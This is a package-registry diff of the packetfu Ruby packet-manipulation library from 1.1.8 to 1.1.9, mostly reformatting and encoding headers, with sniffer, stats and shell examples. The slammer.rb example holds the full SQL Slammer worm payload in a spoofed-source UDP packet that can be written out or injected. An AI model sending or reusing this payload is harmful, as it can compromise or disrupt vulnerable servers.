packetfu 1.1.8 → 1.1.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/README.rdoc +11 -12
- data/bench/octets.rb +9 -9
- data/examples/100kpackets.rb +13 -12
- data/examples/ackscan.rb +17 -16
- data/examples/arp.rb +36 -35
- data/examples/arphood.rb +37 -36
- data/examples/dissect_thinger.rb +7 -6
- data/examples/ethernet.rb +1 -0
- data/examples/examples.rb +1 -0
- data/examples/ifconfig.rb +1 -0
- data/examples/new-simple-stats.rb +24 -23
- data/examples/packetfu-shell.rb +26 -25
- data/examples/simple-sniffer.rb +10 -9
- data/examples/simple-stats.rb +24 -23
- data/examples/slammer.rb +4 -3
- data/lib/packetfu.rb +128 -127
- data/lib/packetfu/capture.rb +170 -169
- data/lib/packetfu/config.rb +53 -52
- data/lib/packetfu/inject.rb +57 -56
- data/lib/packetfu/packet.rb +529 -528
- data/lib/packetfu/pcap.rb +580 -579
- data/lib/packetfu/protos/arp.rb +91 -90
- data/lib/packetfu/protos/arp/header.rb +159 -158
- data/lib/packetfu/protos/arp/mixin.rb +37 -36
- data/lib/packetfu/protos/eth.rb +45 -44
- data/lib/packetfu/protos/eth/header.rb +244 -243
- data/lib/packetfu/protos/eth/mixin.rb +4 -3
- data/lib/packetfu/protos/hsrp.rb +70 -69
- data/lib/packetfu/protos/hsrp/header.rb +108 -107
- data/lib/packetfu/protos/hsrp/mixin.rb +30 -29
- data/lib/packetfu/protos/icmp.rb +72 -71
- data/lib/packetfu/protos/icmp/header.rb +83 -82
- data/lib/packetfu/protos/icmp/mixin.rb +15 -14
- data/lib/packetfu/protos/invalid.rb +50 -49
- data/lib/packetfu/protos/ip.rb +70 -69
- data/lib/packetfu/protos/ip/header.rb +292 -291
- data/lib/packetfu/protos/ip/mixin.rb +41 -40
- data/lib/packetfu/protos/ipv6.rb +51 -50
- data/lib/packetfu/protos/ipv6/header.rb +189 -188
- data/lib/packetfu/protos/ipv6/mixin.rb +30 -29
- data/lib/packetfu/protos/lldp.rb +3 -1
- data/lib/packetfu/protos/lldp/header.rb +1 -0
- data/lib/packetfu/protos/lldp/mixin.rb +1 -0
- data/lib/packetfu/protos/tcp.rb +177 -176
- data/lib/packetfu/protos/tcp/ecn.rb +36 -35
- data/lib/packetfu/protos/tcp/flags.rb +75 -74
- data/lib/packetfu/protos/tcp/header.rb +269 -268
- data/lib/packetfu/protos/tcp/hlen.rb +33 -32
- data/lib/packetfu/protos/tcp/mixin.rb +47 -46
- data/lib/packetfu/protos/tcp/option.rb +322 -321
- data/lib/packetfu/protos/tcp/options.rb +96 -95
- data/lib/packetfu/protos/tcp/reserved.rb +36 -35
- data/lib/packetfu/protos/udp.rb +117 -116
- data/lib/packetfu/protos/udp/header.rb +92 -91
- data/lib/packetfu/protos/udp/mixin.rb +4 -3
- data/lib/packetfu/structfu.rb +281 -280
- data/lib/packetfu/utils.rb +211 -208
- data/lib/packetfu/version.rb +42 -41
- data/packetfu.gemspec +1 -1
- data/spec/ethpacket_spec.rb +48 -48
- data/spec/packet_spec.rb +57 -57
- data/spec/packet_subclasses_spec.rb +8 -8
- data/spec/packetfu_spec.rb +59 -59
- data/spec/structfu_spec.rb +268 -268
- data/spec/tcp_spec.rb +75 -75
- data/test/all_tests.rb +13 -13
- data/test/func_lldp.rb +3 -3
- data/test/ptest.rb +2 -2
- data/test/test_arp.rb +116 -116
- data/test/test_capture.rb +45 -45
- data/test/test_eth.rb +68 -68
- data/test/test_hsrp.rb +9 -9
- data/test/test_icmp.rb +52 -52
- data/test/test_inject.rb +18 -18
- data/test/test_invalid.rb +16 -16
- data/test/test_ip.rb +36 -36
- data/test/test_ip6.rb +48 -48
- data/test/test_octets.rb +21 -21
- data/test/test_packet.rb +154 -154
- data/test/test_pcap.rb +170 -170
- data/test/test_structfu.rb +97 -97
- data/test/test_tcp.rb +320 -320
- data/test/test_udp.rb +76 -76
- metadata +2 -2
data/examples/packetfu-shell.rb
CHANGED
@@ -1,3 +1,4 @@
|
|
1
|
+
# -*- coding: binary -*-
|
1
2
|
# == Synopsis
|
2
3
|
#
|
3
4
|
# packetfu-shell.rb is intended for IRB consumption, and providing an
|
@@ -48,12 +49,12 @@ require './examples'
|
|
48
49
|
require 'packetfu'
|
49
50
|
|
50
51
|
module PacketFu
|
51
|
-
|
52
|
-
|
53
|
-
|
54
|
-
|
55
|
-
|
56
|
-
|
52
|
+
def whoami?(args={})
|
53
|
+
Utils.whoami?(args)
|
54
|
+
end
|
55
|
+
def arp(arg)
|
56
|
+
Utils.arp(arg)
|
57
|
+
end
|
57
58
|
end
|
58
59
|
|
59
60
|
include PacketFu
|
@@ -63,7 +64,7 @@ include PacketFu
|
|
63
64
|
# http://jisho.org/words?jap=+%E3%83%91%E3%82%B1%E3%83%83%E3%83%88%E3%83%95&eng=&dict=edict
|
64
65
|
#
|
65
66
|
def packetfu_ascii_art
|
66
|
-
|
67
|
+
puts <<EOM
|
67
68
|
_______ _______ _______ _ _______ _________ _______
|
68
69
|
( ____ )( ___ )( ____ \\| \\ /\\( ____ \\\\__ __/( ____ \\|\\ /|
|
69
70
|
| ( )|| ( ) || ( \\/| \\ / /| ( \\/ ) ( | ( \\/| ) ( |
|
@@ -81,33 +82,33 @@ def packetfu_ascii_art
|
|
81
82
|
a mid-level packet manipulation library for ruby
|
82
83
|
|
83
84
|
EOM
|
84
|
-
|
85
|
+
end
|
85
86
|
|
86
87
|
@pcaprub_loaded = PacketFu.pcaprub_loaded?
|
87
88
|
# Displays a helpful banner.
|
88
89
|
def banner
|
89
|
-
|
90
|
-
|
91
|
-
|
92
|
-
|
93
|
-
|
94
|
-
|
95
|
-
|
96
|
-
|
97
|
-
|
98
|
-
|
99
|
-
|
100
|
-
|
101
|
-
|
102
|
-
|
103
|
-
|
90
|
+
packetfu_ascii_art
|
91
|
+
puts ">>> PacketFu Shell #{PacketFu.version}."
|
92
|
+
if Process.euid.zero? && @pcaprub_loaded
|
93
|
+
puts ">>> Use $packetfu_default.config for salient networking details."
|
94
|
+
print "IP: %-15s Mac: %s" % [$packetfu_default.ip_saddr, $packetfu_default.eth_saddr]
|
95
|
+
puts " Gateway: %s" % $packetfu_default.eth_daddr
|
96
|
+
print "Net: %-15s" % [Pcap.lookupnet($packetfu_default.iface)][0]
|
97
|
+
print " " * 13
|
98
|
+
puts "Iface: %s" % [($packetfu_default.iface)]
|
99
|
+
puts ">>> Packet capturing/injecting enabled."
|
100
|
+
else
|
101
|
+
print ">>> Packet capturing/injecting disabled. "
|
102
|
+
puts Process.euid.zero? ? "(no PcapRub)" : "(not root)"
|
103
|
+
end
|
104
|
+
puts "<>" * 36
|
104
105
|
end
|
105
106
|
|
106
107
|
# Silly wlan0 workaround
|
107
108
|
begin
|
108
|
-
|
109
|
+
$packetfu_default = PacketFu::Config.new(Utils.whoami?) if(@pcaprub_loaded && Process.euid.zero?)
|
109
110
|
rescue RuntimeError
|
110
|
-
|
111
|
+
$packetfu_default = PacketFu::Config.new(Utils.whoami?(:iface => 'wlan0')) if(@pcaprub_loaded && Process.euid.zero?)
|
111
112
|
end
|
112
113
|
|
113
114
|
banner
|
data/examples/simple-sniffer.rb
CHANGED
@@ -1,4 +1,5 @@
|
|
1
1
|
#!/usr/bin/env ruby
|
2
|
+
# -*- coding: binary -*-
|
2
3
|
require './examples'
|
3
4
|
require 'packetfu'
|
4
5
|
|
@@ -7,15 +8,15 @@ include PacketFu
|
|
7
8
|
iface = ARGV[0] || "eth0"
|
8
9
|
|
9
10
|
def sniff(iface)
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
11
|
+
cap = Capture.new(:iface => iface, :start => true)
|
12
|
+
cap.stream.each do |p|
|
13
|
+
pkt = Packet.parse p
|
14
|
+
if pkt.is_ip?
|
15
|
+
next if pkt.ip_saddr == Utils.ifconfig(iface)[:ip_saddr]
|
16
|
+
packet_info = [pkt.ip_saddr, pkt.ip_daddr, pkt.size, pkt.proto.last]
|
17
|
+
puts "%-15s -> %-15s %-4d %s" % packet_info
|
18
|
+
end
|
19
|
+
end
|
19
20
|
end
|
20
21
|
|
21
22
|
sniff(iface)
|
data/examples/simple-stats.rb
CHANGED
@@ -1,4 +1,5 @@
|
|
1
1
|
#!/usr/bin/env ruby
|
2
|
+
# -*- coding: binary -*-
|
2
3
|
|
3
4
|
# Simple-stats.rb takes a pcap file, and gives some simple
|
4
5
|
# stastics on the protocols found. It's mainly used to
|
@@ -15,33 +16,33 @@ require 'packetfu'
|
|
15
16
|
# Takes a file name, parses the packets, and records the packet
|
16
17
|
# type based on its PacketFu class.
|
17
18
|
def count_packet_types(file)
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
19
|
+
file = File.open(file) {|f| f.read}
|
20
|
+
stats = {}
|
21
|
+
count = 0
|
22
|
+
pcapfile = PacketFu::PcapPackets.new
|
23
|
+
pcapfile.read(file)
|
24
|
+
pcapfile.each do |p|
|
25
|
+
# Now it's a PacketFu packet struct.
|
26
|
+
pkt = PacketFu::Packet.parse(p.data)
|
27
|
+
kind = pkt.class.to_s.split("::").last
|
28
|
+
if stats[kind]
|
29
|
+
stats[kind] += 1
|
30
|
+
else
|
31
|
+
stats[kind] = 0
|
32
|
+
end
|
33
|
+
count += 1
|
34
|
+
break if count >= 1_000
|
35
|
+
end
|
36
|
+
stats.each_pair { |k,v| puts "%-12s: %4d" % [k,v] }
|
36
37
|
end
|
37
38
|
|
38
39
|
if File.readable?(infile = (ARGV[0] || 'in.pcap'))
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
40
|
+
title = "Packets by packet type in '#{infile}'"
|
41
|
+
puts title
|
42
|
+
puts "-" * title.size
|
43
|
+
count_packet_types(infile)
|
43
44
|
else
|
44
|
-
|
45
|
+
raise RuntimeError, "Need an infile, like so: #{$0} in.pcap"
|
45
46
|
end
|
46
47
|
|
47
48
|
|
data/examples/slammer.rb
CHANGED
@@ -1,4 +1,5 @@
|
|
1
1
|
#!/usr/bin/env ruby
|
2
|
+
# -*- coding: binary -*-
|
2
3
|
|
3
4
|
# Fires off a slammer packet to an unsuspecting target. This code does not
|
4
5
|
# break real devices! (To do that, you'll need to fix up the targetting)
|
@@ -13,7 +14,7 @@ include PacketFu
|
|
13
14
|
slammer = "\004\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\334\311\260B\353\016" + "\001\001\001\001\001\001\001p\256B\001p\256B\220\220\220\220\220\220\220\220h\334\311\260B\270\001\001" + "\001\0011\311\261\030P\342\3755\001\001\001\005P\211\345Qh.dllhel32hkernQhounthickChGetTf" + "\271llQh32.dhws2_f\271etQhsockf\271toQhsend\276\030\020\256B\215E\324P\377\026P\215E\340P\215E\360P\377" + "\026P\276\020\020\256B\213\036\213\003=U\213\354Qt\005\276\034\020\256B\377\026\377\3201\311QQP\201\361" + "\003\001\004\233\201\361\001\001\001\001Q\215E\314P\213E\300P\377\026j\021j\002j\002\377\320P\215E\304P" + "\213E\300P\377\026\211\306\t\333\201\363<a\331\377\213E\264\215\f@\215\024\210\301\342\004\001\302\301" + "\342\b)\302\215\004\220\001\330\211E\264j\020\215E\260P1\311Qf\201\361x\001Q\215E\003P\213E\254P\377\326" + "\353\312"
|
14
15
|
|
15
16
|
def rand_source_ip
|
16
|
-
|
17
|
+
[rand(0xffffffff)].pack("N")
|
17
18
|
end
|
18
19
|
|
19
20
|
kill_packet = UDPPacket.new
|
@@ -25,9 +26,9 @@ kill_packet.recalc
|
|
25
26
|
kill_packet.payload = slammer
|
26
27
|
|
27
28
|
if action == 'file'.downcase
|
28
|
-
|
29
|
+
puts kill_packet.to_f
|
29
30
|
else
|
30
|
-
|
31
|
+
puts kill_packet.to_w(action.downcase)
|
31
32
|
end
|
32
33
|
|
33
34
|
|
data/lib/packetfu.rb
CHANGED
@@ -1,3 +1,4 @@
|
|
1
|
+
# -*- coding: binary -*-
|
1
2
|
|
2
3
|
# :title: PacketFu Documentation
|
3
4
|
# :main: README
|
@@ -12,133 +13,133 @@ require 'rubygems' if RUBY_VERSION =~ /^1\.[0-8]/
|
|
12
13
|
|
13
14
|
module PacketFu
|
14
15
|
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
|
53
|
-
|
54
|
-
|
55
|
-
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
64
|
-
|
65
|
-
|
66
|
-
|
67
|
-
|
68
|
-
|
69
|
-
|
70
|
-
|
71
|
-
|
72
|
-
|
73
|
-
|
74
|
-
|
75
|
-
|
76
|
-
|
77
|
-
|
78
|
-
|
79
|
-
|
80
|
-
|
81
|
-
|
82
|
-
|
83
|
-
|
84
|
-
|
85
|
-
|
86
|
-
|
87
|
-
|
88
|
-
|
89
|
-
|
90
|
-
|
91
|
-
|
92
|
-
|
93
|
-
|
94
|
-
|
95
|
-
|
96
|
-
|
97
|
-
|
98
|
-
|
99
|
-
|
100
|
-
|
101
|
-
|
102
|
-
|
103
|
-
|
104
|
-
|
105
|
-
|
106
|
-
|
107
|
-
|
108
|
-
|
109
|
-
|
110
|
-
|
111
|
-
|
112
|
-
|
113
|
-
|
114
|
-
|
115
|
-
|
116
|
-
|
117
|
-
|
118
|
-
|
119
|
-
|
120
|
-
|
121
|
-
|
122
|
-
|
123
|
-
|
124
|
-
|
125
|
-
|
126
|
-
|
127
|
-
|
128
|
-
|
129
|
-
|
130
|
-
|
131
|
-
|
132
|
-
|
133
|
-
|
134
|
-
|
135
|
-
|
136
|
-
|
137
|
-
|
138
|
-
|
139
|
-
|
140
|
-
|
141
|
-
|
16
|
+
# Picks up all the protocols defined in the protos subdirectory
|
17
|
+
def self.require_protos(cwd)
|
18
|
+
protos_dir = File.join(cwd, "packetfu", "protos")
|
19
|
+
Dir.new(protos_dir).each do |fname|
|
20
|
+
next unless fname[/\.rb$/]
|
21
|
+
begin
|
22
|
+
require File.join(protos_dir,fname)
|
23
|
+
rescue
|
24
|
+
warn "Warning: Could not load `#{fname}'. Skipping."
|
25
|
+
end
|
26
|
+
end
|
27
|
+
end
|
28
|
+
|
29
|
+
# Deal with Ruby's encoding by ignoring it.
|
30
|
+
def self.force_binary(str)
|
31
|
+
str.force_encoding Encoding::BINARY if str.respond_to? :force_encoding
|
32
|
+
end
|
33
|
+
|
34
|
+
# Sets the expected byte order for a pcap file. See PacketFu::Read.set_byte_order
|
35
|
+
@byte_order = :little
|
36
|
+
|
37
|
+
# Checks if pcaprub is loaded correctly.
|
38
|
+
@pcaprub_loaded = false
|
39
|
+
|
40
|
+
# PacketFu works best with Pcaprub version 0.8-dev (at least)
|
41
|
+
# The current (Aug 01, 2010) pcaprub gem is 0.9, so should be fine.
|
42
|
+
def self.pcaprub_platform_require
|
43
|
+
begin
|
44
|
+
require 'pcaprub'
|
45
|
+
rescue LoadError
|
46
|
+
return false
|
47
|
+
end
|
48
|
+
@pcaprub_loaded = true
|
49
|
+
end
|
50
|
+
|
51
|
+
pcaprub_platform_require
|
52
|
+
|
53
|
+
if @pcaprub_loaded
|
54
|
+
pcaprub_regex = /[0-9]\.([8-9]|[1-7][0-9])(-dev)?/ # Regex for 0.8 and beyond.
|
55
|
+
if Pcap.version !~ pcaprub_regex
|
56
|
+
@pcaprub_loaded = false # Don't bother with broken versions
|
57
|
+
raise LoadError, "PcapRub not at a minimum version of 0.8-dev"
|
58
|
+
end
|
59
|
+
require "packetfu/capture"
|
60
|
+
require "packetfu/inject"
|
61
|
+
end
|
62
|
+
|
63
|
+
# Returns the status of pcaprub
|
64
|
+
def self.pcaprub_loaded?
|
65
|
+
@pcaprub_loaded
|
66
|
+
end
|
67
|
+
|
68
|
+
# Returns an array of classes defined in PacketFu
|
69
|
+
def self.classes
|
70
|
+
constants.map { |const| const_get(const) if const_get(const).kind_of? Class}.compact
|
71
|
+
end
|
72
|
+
|
73
|
+
# Adds the class to PacketFu's list of packet classes -- used in packet parsing.
|
74
|
+
def self.add_packet_class(klass)
|
75
|
+
raise "Need a class" unless klass.kind_of? Class
|
76
|
+
if klass.name !~ /[A-Za-z0-9]Packet/
|
77
|
+
raise "Packet classes should be named 'ProtoPacket'"
|
78
|
+
end
|
79
|
+
@packet_classes ||= []
|
80
|
+
@packet_classes << klass
|
81
|
+
@packet_classes_dirty = true
|
82
|
+
@packet_classes.sort! {|x,y| x.name <=> y.name}
|
83
|
+
end
|
84
|
+
|
85
|
+
# Presumably, there may be a time where you'd like to remove a packet class.
|
86
|
+
def self.remove_packet_class(klass)
|
87
|
+
raise "Need a class" unless klass.kind_of? Class
|
88
|
+
@packet_classes ||= []
|
89
|
+
@packet_classes.delete klass
|
90
|
+
@packet_classes_dirty = true
|
91
|
+
@packet_classes
|
92
|
+
end
|
93
|
+
|
94
|
+
# Returns an array of packet classes
|
95
|
+
def self.packet_classes
|
96
|
+
@packet_classes || []
|
97
|
+
end
|
98
|
+
|
99
|
+
# Returns an array of packet types by packet prefix.
|
100
|
+
def self.packet_prefixes
|
101
|
+
return [] if @packet_classes.nil?
|
102
|
+
return @packet_class_prefixes if @packet_classes_dirty == false
|
103
|
+
@packet_classes_dirty = false
|
104
|
+
@packet_class_prefixes = @packet_classes.map {|p| p.to_s.split("::").last.to_s.downcase.gsub(/packet$/,"")}
|
105
|
+
return @packet_class_prefixes
|
106
|
+
end
|
107
|
+
|
108
|
+
# The current inspect style. One of :hex, :dissect, or :default
|
109
|
+
# Note that :default means Ruby's default, which is usually
|
110
|
+
# far too long to be useful.
|
111
|
+
def self.inspect_style
|
112
|
+
@inspect_style ||= :dissect
|
113
|
+
end
|
114
|
+
|
115
|
+
# Setter for PacketFu's @inspect_style
|
116
|
+
def self.inspect_style=(arg)
|
117
|
+
@inspect_style = case arg
|
118
|
+
when :hex, :pretty
|
119
|
+
:hex
|
120
|
+
when :dissect, :verbose
|
121
|
+
:dissect
|
122
|
+
when :default, :ugly
|
123
|
+
:default
|
124
|
+
else
|
125
|
+
:dissect
|
126
|
+
end
|
127
|
+
end
|
128
|
+
|
129
|
+
# Switches inspect styles in a round-robin fashion between
|
130
|
+
# :dissect, :default, and :hex
|
131
|
+
def toggle_inspect
|
132
|
+
case @inspect_style
|
133
|
+
when :hex, :pretty
|
134
|
+
@inspect_style = :dissect
|
135
|
+
when :dissect, :verbose
|
136
|
+
@inspect_style = :default
|
137
|
+
when :default, :ugly
|
138
|
+
@inspect_style = :hex
|
139
|
+
else
|
140
|
+
@inspect_style = :dissect
|
141
|
+
end
|
142
|
+
end
|
142
143
|
|
143
144
|
|
144
145
|
end
|